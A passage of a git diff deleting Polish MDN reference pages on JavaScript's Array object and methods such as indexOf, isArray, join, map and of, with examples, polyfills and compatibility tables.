-    var n = parseInt(arguments[1]) || 0;
-    var k;
-    if (n >= 0) {
-      k = n;
-    } else {
-      k = len + n;
-      if (k < 0) {k = 0;}
-    }
-    var currentElement;
-    while (k < len) {
-      currentElement = O[k];
-      if (searchElement === currentElement ||
-         (searchElement !== searchElement && currentElement !== currentElement)) { // NaN !== NaN
-        return true;
-      }
-      k++;
-    }
-    return false;
-  };
-}
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}{{Spec2('ES7')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}{{Spec2('ESDraft')}} -

 

-
- -

Kompatybilność przeglądarek

- -
-
- - -

{{Compat("javascript.builtins.Array.includes")}}

-
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/index.html b/files/pl/web/javascript/referencje/obiekty/array/index.html deleted file mode 100644 index 5cfe52578b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/index.html +++ /dev/null @@ -1,279 +0,0 @@ ---- -title: Array -slug: Web/JavaScript/Referencje/Obiekty/Array -tags: - - Array - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/Array ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Array  w języku JavaScript jest globalnym obiektem, który jest używany podczas tworzenia tablic – listo-podobnych obieków wysokiego poziomu.

- -
-

Stwórz tablicę

- -
var owoce = ['Jabłko', 'Banan'];
-
-console.log(owoce.length);
-// 2
-
- -

Dostawanie się do elementu tablicy

- -
var pierwszy = owoce[0];
-// Jablko
-
-var ostatni = owoce[owoce.length - 1];
-// Banan
- -

Pętla przechodząca przez zawartość tablicy

- -
owoce.forEach(function(item, index, array) {
-  console.log(item, index);
-});
-// Jablko 0
-// Banan 1
- -

Dodawanie elementu na końcu tablicy

- -
var nowaDługosc = owoce.push('Pomarańcz');
-// ["Jabłko", "Banan", "Pomarańcz"]
- -

Usuwanie elemetu z końca tablicy

- -
var ostatni = owoce.pop(); // usuwa pomarańczę z końca
-// ["Jabłko", "Banan"];
- -

Usuwanie elementu z przodu tablicy

- -
var pierwszy = owoce.shift(); // usuwa jabłko z początku
-// ["Banan"];
- -

Dodawanie elementu z przodu tablicy

- -
var nowaDługość = owoce.unshift('Truskawki') // dodaje na początku
-// ["Truskawkę", "Banan"];
- -

Znajdowanie indeksu (numeru porządkowego) elementu t tablicy

- -
owoce.push('Mango');
-// ["Truskawka", "Banan", "Mango"]
-
-var pos = owoce.indexOf('Banan');
-// 1
- -

Usuwanie obiektu przy użyciu indeksu

- -
var usunElement = owoce.splice(pos, 1); // tak się usuwa element
-
-// ["Truskawka", "Mango"]
- -

Usuwanie elementów przy użyciu pozycji w indeksie

- -
var warzywa = ["Kapusta", "Rzepa", "Rzodkiew", "Marchew"];
-console.log(warzywa);
-// ["Kapusta", "Rzepa", "Rzodkiew", "Marchew"]
-
-var pos = 1, n = 2;
-
-var usunieteElementy = warzywa.splice(pos, n);
-// n oznacza liczbę elementów do usunięcia
-// zaczynając od elementu na określonej pozycji(pos)
-
-console.log(warzywa);
-// ["Kapusta", "Marchew"] (początkowa tablica została zmieniona)
-
-console.log(usunieteElementy);
-// ["Rzepa", "Rzodkiew"]
-
- -

Kopiowanie tablicy

- -
var płytkaKopia = owoce.slice(); // tak się tworzy kopię
-// ["Truskawka", "Mango"]
-
- -

Składnia:

- -
[element0, element1, ..., elementN]
-new Array(element0, element1[, ...[, elementN]])
-new Array(długoscTablicy)
- -
-
elementN
-
Lista wartości elementów tablicy. Tablica jest inicjowana z określonymi wartościami jako jej elementami. Długość tablicy (length) odpowiada liczbie jej elementów.
-
długośćTablicy
-
Początkowa długość tablicy. Aby móc przetwarzać wartości używamy własności długości tablicy length. Jeśli określona wartość nie jest liczbą, zostanie utworzona tablica jednoelementowa, a jej pierwszy element będzie posiadał ową wartość. Maksymalna długość tablicy wynosi 4,294,967,295 elementów.
-
- -

Opis

- -

Tablica jest uporządkowanym zbiorem wartości przyporządkowanych ustalonej pojedynczej zmiennej.

- -

Poniższy przykład tworzy obiekt Array przy użyciu literału tablicy. Tablica kawa zawiera trzy elementy i ma długość (length) równą 3:

- -
kawa = ["mocca", "cappucino", "zbożowa"]
-
- -

Można utworzyć tzw. zwartą tablicę składającą się z dwóch lub więcej elementów, o początkowym indeksie 0, jeśli poda się początkowe wartości wszystkich elementów. Zwarta tablica to taka, w której każdy element posiada wartość. Poniższy kod tworzy zwartą tablicę o trzech elementach:

- -
myArray = new Array("Hello", myVar, 3.14159)
-
- -

Dostęp do elementów tablicy

- -

Do elementów tablicy odwołujemy się po ich liczbie porządkowej (zaczynając od zera). Przykładowo, jeśli mamy zdefiniowaną tablicę:

- -
mojaTablica = new Array("Wiatr","Deszcz","Ogień")
-
- -

Do pierwszego elementu odwołujemy się poprzez mojaTablica[0], a do drugiego poprzez mojaTablica[1].

- -

Podawanie pojedynczego parametru

- -

Jeśli konstruktor Array zostanie wywołany z pojedynczym parametrem liczbowym, parametr ten zostanie uznany za początkową długość tablicy. Poniższy kod tworzy tablicę pięciu elementów:

- -
rodzajPlatnosci = new Array(5)
-
- -

Zachowanie konstruktora Array zależy od tego, czy jedyny parametr jest liczbą.

- - - -

Poniższy kod tworzy tablicę o długości 25, a następnie przypisuje wartości pierwszym trzem elementom:

- -
rodzajeMuzyki = new Array(25)
-rodzajeMuzyki[0] = "R&B"
-rodzajeMuzyki[1] = "Blues"
-rodzajeMuzyki[2] = "Jazz"
-
- -

Pośrednie zwiększanie długości tablicy

- -

Długość tablicy wzrasta samoczynnie, jeśli elementowi o indeksie wyższym niż obecna długość zostanie przypisana wartość. Poniższy kod tworzy tablicę o zerowej długości, a następnie przypisuje do niej 99. element. W wyniku długość tablicy zostaje zmieniona na 100.

- -
kolory = new Array();
-kolory[99] = "ciemnoniebieski";
-
- -

Tworzenie tablicy z wyników wyrażenia regularnego

- -

Wynik porównania pomiędzy regularnym wyrażeniem a łańcuchem znaków może utworzyć tablicę. Ta tablica ma własności i elementy, które przekazują informacje dotyczące porównania. Tablica jest wartością zwracaną przez RegExp.exec, String.match i String.replace. Aby zrozumieć te własności spójrz na poniższy przykład odwołując się do poniższej tabeli:

- -
//Porównuje łańcuch znaków złożony z jednego 'd' następnie kilku 'b' a następnie jednego 'd'
-//Zapamiętuje porównane 'b' i następujące 'd'
-//Ignoruje wielkość liter
-
-mojRe=/d(b+)(d)/i;
-mojaTablica = mojRe.exec("cdbBdbsbz");
-
- -

Własności i elementy zwracają wartości z poniższej tabeli:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Własność/ElementOpisPrzykład
inputWartość tylko-do-odczytu, opisująca oryginalny łańcuch znaków, do którego porównano wyrażenie regularne.cdbBdbsbz
indexWłasność tylko-do-odczytu, będąca indeksem (zaczynając od 0) porównanego znaku w łańcuchu znaków.1
[0]Element tylko-do-odczytu, zawierający ostatnio porównane znaki.dbBd
[1], ... [n]Elementy tylko-do-odczytu, zawierające podobne podłańcuchy znaków, zawarte w wyrażeniu regularnym. Liczba możliwych podłańcuchów jest nieskończona.[1]: bB
- [2]: d
- -

Własności

- -
-
-
-
{{jsxref("Array.length")}}
-
Odzwierciedla ilość elementów tablicy.
-
{{jsxref("Array.prototype")}}
-
Pozwala na dodawanie własności do wszystkich obiektów.
-
-
-
- -

Metody

- -
-
{{jsxref("Array.from()")}} {{experimental_inline}}
-
Tworzy nową instancję Array z obiektu podobnego do tablicy lub iterowalnego.
-
{{jsxref("Array.isArray()")}}
-
Zwraca true, jeśli zmienna jest tablicą, jeśli nie false.
-
{{jsxref("Array.observe()")}} {{experimental_inline}}
-
Asynchronicznie obserwuje zmiany w tablicach, podobnie jak {{jsxref ("Object.observe ()")}} dla obiektów. Zapewnia strumień zmian w kolejności występowania.
-
{{jsxref("Array.of()")}} {{experimental_inline}}
-
Tworzy nową instancję Array ze zmienną liczbą argumentów, niezależnie od liczby lub rodzaju argumentów.
-
- -

Przykłady

- -

Przykład: Tworzenie tablicy

- -

Poniższy kod tworzy tablicę msgArray o długości 0, a następnie przypisuje wartości do msgArray[0] i msgArray[99], zwiększając długość tablicy do 100.

- -
msgArray = new Array()
-msgArray[0] = "Witaj,"
-msgArray[99] = "świecie"
-// Poniższy warunek jest spełniony,
-// ponieważ zdefiniowano element msgArray[99].
-if (msgArray.length == 100)
-   myVar="Długość tablicy jest równa 100."
-
- -

Przykład: Tworzenie tablicy dwuwymiarowej

- -

Poniższy kod tworzy tablicę dwuwymiarową i przypisuje wyniki do zmiennej myVar.

- -
myVar="Test tablicy wielowymiarowej; "
-a = new Array(4)
-for (i=0; i < 4; i++) {
-   a[i] = new Array(4)
-   for (j=0; j < 4; j++) {
-      a[i][j] = "["+i+","+j+"]"
-   }
-}
-for (i=0; i < 4; i++) {
-   str = "Wiersz "+i+":"
-   for (j=0; j < 4; j++) {
-      str += a[i][j]
-   }
-   myVar += str +"; "
-}
-
- -

Poniższy łańcuch znaków będzie przypisany do zmiennej myVar (linie zostały przełamane dla zwiększenia czytelności):

- -
Test tablicy wielowymiarowej;
-Wiersz 0:[0,0][0,1][0,2][0,3];
-Wiersz 1:[1,0][1,1][1,2][1,3];
-Wiersz 2:[2,0][2,1][2,2][2,3];
-Wiersz 3:[3,0][3,1][3,2][3,3];
-
- -
diff --git a/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html b/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html deleted file mode 100644 index db63c3384c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Array.prototype.indexOf() -slug: Web/JavaScript/Referencje/Obiekty/Array/indexOf -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca pierwszy (najmniejszy) indeks elementu w tablicy równego podanej wartości lub -1, gdy nie znaleziono takiego elementu.

- -

Składnia

- -
array.indexOf(searchElement[, fromIndex = 0]);
-
- -

Parametry

- -
-
searchElement
-
Element do znalezienia w tablicy.
-
fromIndex
-
Indeks od którego ma zacząć się wyszukiwanie. Domyślnie 0 - przeszukana zostanie cała tablica. Jeżeli indeks będzie większy lub równy ilości elementów tablica nie zostanie przeszukana - funkcja zwróci -1. Jeżeli podana zostanie liczba ujemna zostanie dodany do niej rozmiar tablicy (np. podanie -5 oznacza przeszukiwanie od 5 elementu od końca). Jeżeli tak obliczony indeks jest mniejszy od zera przeszukana zostanie cała tablica. Uwaga, wyszukiwanie dalej będzie się odbywać w kierunku rosnących indeksów.
-
- -

Opis

- -

indexOf porównuje searchElement z elementami tablicy używając ścisłego porównania (podobnie jak w przypadku operatora ===).

- -

Kompatybilność

- -

indexOf jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie indexOf w implementacji ECMA-262, które nie wspierają tego natywnie.

- -
if (!Array.prototype.indexOf)
-{
-  Array.prototype.indexOf = function(elt /*, from*/)
-  {
-    var len = this.length;
-
-    var from = Number(arguments[1]) || 0;
-    from = (from < 0)
-         ? Math.ceil(from)
-         : Math.floor(from);
-    if (from < 0)
-      from += len;
-
-    for (; from < len; from++)
-    {
-      if (from in this &&
-          this[from] === elt)
-        return from;
-    }
-    return -1;
-  };
-}
-
- -

Należy zwrócić uwagę, że ta implementacja ma na celu całkowitą zgodność z indexOf występującą w Firefoksie i silniku JavaScript SpiderMonkey, włączając w to przypadki w których przesyłany do indexOf indeks nie jest wartością liczbową. Jeśli masz zamiar wykorzystać przytoczone rozwiązanie w rzeczywistych aplikacjach, możesz nie potrzebować całego powyższego kodu (części odpowiedzialnej za obliczenie wartości from).

- -

Przykłady

- -

Przykład: Zastosowanie indexOf

- -

Następujący przykład stosuje indexOf do znalezienia pierwszego wystąpienia elementów.

- -
array = [2, 5, 9];
-index = array.indexOf(2);
-// index jest 0
-index = array.indexOf(7);
-// index jest -1
-
- -

Przykład: Wyszukiwanie wszystkich wystąpień w tablicy

- -

Poniższy przykład używa indexOf do znalezienia wszystkich wystąpień elementu w tablicy oraz dodaje ich indeksy do drugiej tablicy używając metody {{jsxref("Array.prototype.push()")}}.

- -
indices = [];
-idx = array.indexOf(element)
-while (idx != -1) {
-   indices.push(idx);
-   idx = array.indexOf(element, idx + 1);
-}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html b/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html deleted file mode 100644 index 62083e0853..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Array.isArray() -slug: Web/JavaScript/Referencje/Obiekty/Array/isArray -translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Podsumowanie

- -

Array.isArray() to metoda, która zwraca true  jeśli obiekt jest tablicą, fałsz jeśli nie jest.

- -

Składnia

- -
Array.isArray(obj)
- -

Parametry

- -
-
obj
-
Obiekt do sprawdzenia
-
- -

Opis

- -

Zobacz artykuł  “Determining with absolute accuracy whether or not a JavaScript object is an array” , aby poznać więcej szczegółów.

- -

Przykłady

- -
// poniższe przykłady zwrócą true
-Array.isArray([]);
-Array.isArray([1]);
-Array.isArray(new Array());
-// Mało znany fakt: Array.prototype sam w sobie jest tablicą:
-Array.isArray(Array.prototype);
-
-// poniższe przykłady zwrócą false
-Array.isArray();
-Array.isArray({});
-Array.isArray(null);
-Array.isArray(undefined);
-Array.isArray(17);
-Array.isArray('Array');
-Array.isArray(true);
-Array.isArray(false);
-Array.isArray({ __proto__: Array.prototype });
-
- -

Dostępność wsteczna

- -

Jeśli metody Array.isArray() nie jest natywnie dostępna, poniższy kod ją utworzy.

- -
if (!Array.isArray) {
-  Array.isArray = function(arg) {
-    return Object.prototype.toString.call(arg) === '[object Array]';
-  };
-}
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}{{Spec2('ES5.1')}}Wstępna definicja. Implementacja od  JavaScript 1.8.5.
{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}{{Spec2('ES6')}} 
- -

Zgodność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("5")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("9")}}{{CompatOpera("10.5")}}{{CompatSafari("5")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Based on Kangax's compat table.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/join/index.html b/files/pl/web/javascript/referencje/obiekty/array/join/index.html deleted file mode 100644 index b4b22afc49..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/join/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Array.prototype.join() -slug: Web/JavaScript/Referencje/Obiekty/Array/join -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/join ---- -
{{JSRef}}
- -

Podsumowanie

- -

Łączy wszystkie elementy tablicy w jeden łańcuch znaków.

- -

Składnia

- -
str = arr.join([separator = ','])
- -

Parametry

- -
-
separator 
-
Określa łańcuch znaków użyty do oddzielenia każdego z elementów tablicy. W razie konieczności separator jest konwertowany do łańcucha znaków. Jeśli parametr zostanie pominięty, elementy tablicy będą rozdzielone za pomocą przecinka.
-
- -

Opis

- -

Metoda join zmienia w łańcuchy znaków wszystkie elementy tablicy i łączy je w jeden łańcuch znaków.

- -

Przykłady

- -

Przykład: Łączenie tablicy na trzy różne sposoby

- -

Poniższy przykład tworzy trzyelementową tablicę a zawierającą trzy elementy, następnie trzykrotnie łączy ją: używając domyślnego separatora, przecinka i spacji oraz znaku plus.

- -
var a = new Array("Wiatr","Deszcz","Ogień");
-var myVar1 = a.join()      // przypisuje "Wiatr,Deszcz,Ogień" do myVar1
-var myVar2 = a.join(", ")  // przypisuje "Wiatr, Deszcz, Ogień" do myVar2
-var myVar3 = a.join(" + ") // przypisuje "Wiatr + Deszcz + Ogień" do myVar3
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/keys/index.html b/files/pl/web/javascript/referencje/obiekty/array/keys/index.html deleted file mode 100644 index 4ab6d7e18e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/keys/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Array.prototype.keys() -slug: Web/JavaScript/Referencje/Obiekty/Array/keys -translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys ---- -
{{JSRef}}
- -

Metoda keys() zwraca nowy obiekt typu Array Iterator zawierający indeksy kolejnych elementów tablicy.

- -
var arr = ['a', 'b', 'c'];
-var iterator = arr.keys();
-
-console.log(iterator.next()); // { value: 0, done: false }
-console.log(iterator.next()); // { value: 1, done: false }
-console.log(iterator.next()); // { value: 2, done: false }
-console.log(iterator.next()); // { value: undefined, done: true }
-
- -

Składnia

- -
arr.keys()
- -

Zwracana wartość

- -

Nowy iterator dla typu {{jsxref("Array")}}.

- -

Przykłady

- -

Iterator nie ignoruje dziur

- -
var arr = ['a', , 'c'];
-var sparseKeys = Object.keys(arr);
-var denseKeys = [...arr.keys()];
-console.log(sparseKeys); // ['0', '2']
-console.log(denseKeys);  // [0, 1, 2]
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}{{Spec2('ES2015')}}Pierwsze wystąpienie.
{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari
Basic support{{CompatChrome("38")}}{{CompatGeckoDesktop("28")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOpera("25")}}{{CompatSafari("7.1")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("28")}}{{CompatNo}}{{CompatNo}}8.0
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html b/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html deleted file mode 100644 index 3a6322d6b4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Array.prototype.lastIndexOf() -slug: Web/JavaScript/Referencje/Obiekty/Array/lastIndexOf -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca ostatni indeks, pod którym podany element może być znaleziony w tablicy, lub -1 jeśli nie jest obecny. Tablica jest przeszukiwana od końca, zaczynając od indeksu fromIndex

- -

Składnia

- -
arr.lastIndexOf(searchElement[, fromIndex = arr.length])
- -

Parametry

- -
-
searchElement
-
Element do znalezienia w tablicy.
-
fromIndex
-
Indeks od którego ma zostać rozpoczęte wyszukiwanie od tyłu. Domyślnie jest to długość tablicy, tzn. przeszukana zostanie cała tablica. Jeśli indeks jest większy od lub równy długości tablicy, przeszukana zostanie cała tablica. Jeśli jest ujemny, traktowany będzie jako przesunięcie od końca tablicy. Należy pamiętać, że nawet jeśli indeks jest ujemny, to i tak tablica przeszukiwana jest od końca do początku. Jeśli obliczony indeks jest mniejszy od 0, zwracana jest wartość -1, innymi słowy, tablica nie zostanie przeszukana.
-
- -

Opis

- -

lastIndexOf porównuje searchElement z elementami tablicy używając ścisłego porównania (podobnie jak w przypadku operatora ===).

- -

Kompatybilność

- -

lastIndexOf jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie lastIndexOf w implementacji ECMA-262, które nie wspierają tego natywnie.

- -
if (!Array.prototype.lastIndexOf)
-{
-  Array.prototype.lastIndexOf = function(elt /*, from*/)
-  {
-    var len = this.length;
-
-    var from = Number(arguments[1]);
-    if (isNaN(from))
-    {
-      from = len - 1;
-    }
-    else
-    {
-      from = (from < 0)
-           ? Math.ceil(from)
-           : Math.floor(from);
-      if (from < 0)
-        from += len;
-      else if (from >= len)
-        from = len - 1;
-    }
-
-    for (; from > -1; from--)
-    {
-      if (from in this &&
-          this[from] === elt)
-        return from;
-    }
-    return -1;
-  };
-}
-
- -

Należy zwrócić uwagę, że ta implementacja ma na celu całkowitą zgodność z lastIndexOf występującą w Firefoksie i silniku JavaScript SpiderMonkey, włączając w to przypadki skrajne. Jeśli masz zamiar wykorzystać przytoczone rozwiązanie w rzeczywistych aplikacjach, możesz obliczyć from za pomocą mniej skomplikowanego kodu (z pominięciem części instrukcji warunkowych).

- -

Przykłady

- -

Przykład: Zastosowanie lastIndexOf

- -

Poniższy przykład używa lastIndexOf do znalezienia określonych wartości w tablicy.

- -
array = [2, 5, 9, 2];
-index = array.lastIndexOf(2);
-// index is 3
-index = array.lastIndexOf(7);
-// index is -1
-index = array.lastIndexOf(2, 3);
-// index is 3
-index = array.lastIndexOf(2, 2);
-// index is 0
-index = array.lastIndexOf(2, -2);
-// index is 0
-index = array.lastIndexOf(2, -1);
-// index is 3
-
- -

Przykład: Wyszukiwanie wszystkich wystąpień danego elementu

- -

Poniższy przykład używa lastIndexOf do znalezienia wszystkich wystąpień elementu w tablicy oraz dodaje ich indeksy do drugiej tablicy używając metody push.

- -
indices = [];
-idx = array.lastIndexOf(element)
-while (idx != -1) {
-   indices.push(idx);
-   idx = (idx > 0 ? array.lastIndexOf(element, idx - 1) : -1);
-}
-
- -

Warto zauważyć, że obsłużyliśmy warunek idx == 0 oddzielnie, ponieważ element ten zostanie zawsze odnaleziony - bez względu na wartość parametru fromIndex - w przypadku gdy jest on pierwszym elementem tablicy. To różni tę metodę od metody {{jsxref("Array.prototype.indexOf()")}}.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/length/index.html b/files/pl/web/javascript/referencje/obiekty/array/length/index.html deleted file mode 100644 index 0ce2bbde35..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/length/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Array.prototype.length -slug: Web/JavaScript/Referencje/Obiekty/Array/length -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/length ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Podsumowanie

- -

32-bitowa liczba całkowita bez znaku określająca liczbę elementów w tablicy.

- -
{{js_property_attributes(1, 0, 0)}}
- -
-

Składnia

- -
arr.length
-
- -

Opis

- -

Wartością własności length jest dodatnia liczba całkowita mniejsza niż 2 do potęgi 32 (232).

- -

W dowolnej chwili możesz ustalić wartość length w celu zmniejszenia rozmiaru tablicy. Ustawienie wartości length na większą niż rozmiar tablicy nie zwiększy liczby elementów, np. jeżeli ustawisz length na 3, podczas gdy obecną wartością jest liczba 2, tablica nadal będzie zawierać tylko 2 elementy.

- -

Przykłady

- -

Przykład: Iteracja przez wszystkie elementy tablicy

- -

W poniższym przykładzie ilość elementów w tablicy numbers jest określana w instrukcji iteracyjnej na podstawie wartości length, następnie wartość każdego elementu jest podwajana.

- -
var numbers = [1,2,3,4,5];
-for (var i = 0; i < numbers.length; i++) {
-  numbers[i] *= 2;
-}
-// zawartość tablicy to teraz [2,4,6,8,10];
-
- -

Przykład: Skracanie tablicy

- -

Poniższy przykład zmniejsza rozmiar tablicy statesUS do 50, jeżeli przekracza on tę wartość.

- -
if (statesUS.length > 50) {
-   statesUS.length=50
-}
-
- -
 
diff --git a/files/pl/web/javascript/referencje/obiekty/array/map/index.html b/files/pl/web/javascript/referencje/obiekty/array/map/index.html deleted file mode 100644 index 2b25e7f1cd..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/map/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Array.prototype.map() -slug: Web/JavaScript/Referencje/Obiekty/Array/map -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/map ---- -
{{JSRef}}
- -

Metoda map() tworzy nową tablicę zawierającą wyniki wywoływania podanej funkcji dla każdego elementu wywołującej tablicy.

- -
var liczby = [1, 5, 10, 15];
-var podwojenia = liczby.map(function(x) {
-    return x * 2;
-});
-// podwojenia to teraz [2, 10, 20, 30]
-// liczby to dalej [1, 5, 10, 15]
-
-var liczby = [1, 4, 9];
-var pierwiastki = liczby.map(Math.sqrt);
-// pierwiastki to teraz [1, 2, 3]
-// liczby to dalej [1, 4, 9]
-
- -

Składnia

- -
var new_array = arr.map(function callback(currentValue, index, array){ // Zwróć element nowej tablicy }[, thisArg])
- -

Parametry

- -
-
callback
-
Funkcja tworząca element nowej tablicy, przyjmująca trzy argumenty:
-
-
-
currentValue
-
Element tablicy nad którym obecnie pracujemy
-
index
-
Indeks elementu tablicy nad którym obecnie pracujemy
-
array
-
Oryginalna tablica na rzecz której wywołano metodę map
-
-
-
thisArg
-
Opcjonalny. Wartość jaką użyć jako this podczas wywołania callback
-
- -

Zwracana wartość

- -

Nowa tablica zawierająca elementy będące wynikami wywoływani funkcji callback.

- -

Opis

- -

map wykonuje funkcję (callback) raz na każdym z elementów tablicy w kolejności i tworzy nową tablicę na podstawie wyników. callback wywoływany jest tylko dla indeksów tablicy które mają przypisane wartości, włącznie z undefined. Nie jest wywoływany dla brakujących elementów tablicy (indeksów które nigdy nie były ustawione, usunięte lub nie miały nigdy przypisanych wartości).

- -

callback wywoływana jest z trzema argumentami: wartością elementu, jego indeksem i tablicą która jest trawersowana.

- -

W przypadku podania argumentu thisObject, zostanie on przekazany jako this przy każdym wywołaniu callback. Gdy go brak, lub ma wartość null, użyty zostanie obiekt globalny przyporządkowany do callback.

- -

map nie modyfikuje tablicy, na której jest wywołany.

- -

Zakres elementów przetwarzanych przez map ustalany jest przed pierwszym wywołaniem callback. Elementy dodane do tablicy po wywołaniu map nie zostaną odwiedzone przez callback. Jeśli istniejący, element tablicy zostanie zmieniony lub usunięty, wartością przekazaną do callback będzie wartość z momentu w którym map odwiedza dany element; elementy usunięte przed sprawdzeniem będą przekazane jako undefined.

- -

Przykłady

- -

Wielkie litery łańcuchów w tablicy

- -

Poniższy kod tworzy nową tablicę zawierającą pisaną wielkimi literami wersję wszystkich oryginalnych łańcuchów.

- -
var strings = ["hello", "Array", "WORLD"];
-function makeUpperCase(v)
-{
-    return v.toUpperCase();
-}
-var uppers = strings.map(makeUpperCase);
-// uppers są teraz pisane wielkimi literami ["HELLO", "ARRAY", "WORLD"]
-// strings są niezmienione
-
- -

Mapowanie tablicy liczb do tablicy pierwiastków kwadratowych

- -

Poniższy kod pobiera tablicę liczb i tworzy nową tablicę z pierwiastkami kwadratowymi liczb z pierwszej tablicy.

- -
var liczby = [1, 4, 9];
-var pierwiastki = liczby.map(Math.sqrt);
-// otrzymane pierwiastki [1, 2, 3]
-// pozostające nadal liczby [1, 4, 9]
-
- -

 

diff --git a/files/pl/web/javascript/referencje/obiekty/array/of/index.html b/files/pl/web/javascript/referencje/obiekty/array/of/index.html deleted file mode 100644 index 74c9974bd0..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/of/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Array.of() -slug: Web/JavaScript/Referencje/Obiekty/Array/of -translation_of: Web/JavaScript/Reference/Global_Objects/Array/of ---- -
{{JSRef}}
- -

Metoda Array.of() tworzy nową instancję obiektu Array, która zawiera w sobie wszystkie argumenty przekazane do funkcji, niezależnie od ich liczby i typu.

- -

Różnica pomiędzy Array.of() i konstruktorem Array polega na różnej interpretacji argumentów - Array.of(7) tworzy nową tablicę z jednym elementem(7), gdzie Array(7) tworzy nową tablicę z właściwością length ustawioną na 7 (Notatka: Oznacza to tablicę z 7 wolnymi miejscami, nie miejscami z wartościami undefined).

- -
Array.of(7);       // [7]
-Array.of(1, 2, 3); // [1, 2, 3]
-
-Array(7);          // [ , , , , , , ]
-Array(1, 2, 3);    // [1, 2, 3]
-
- -

Składnia

- -
Array.of(element0[, element1[, ...[, elementN]]])
- -

Parametry

- -
-
elementN
-
Elementy, które tworzą tablicę.
-
- -

Wartość zwracana

- -

Nowa instancja obiektu {{jsxref("Array")}}.

- -

Opis

- -

Ta funkcja jest częścią standardu ECMAScript 2015. Po więcej informacji zobacz Array.of and Array.from proposal i Array.of polyfill.

- -

Przykłady

- -
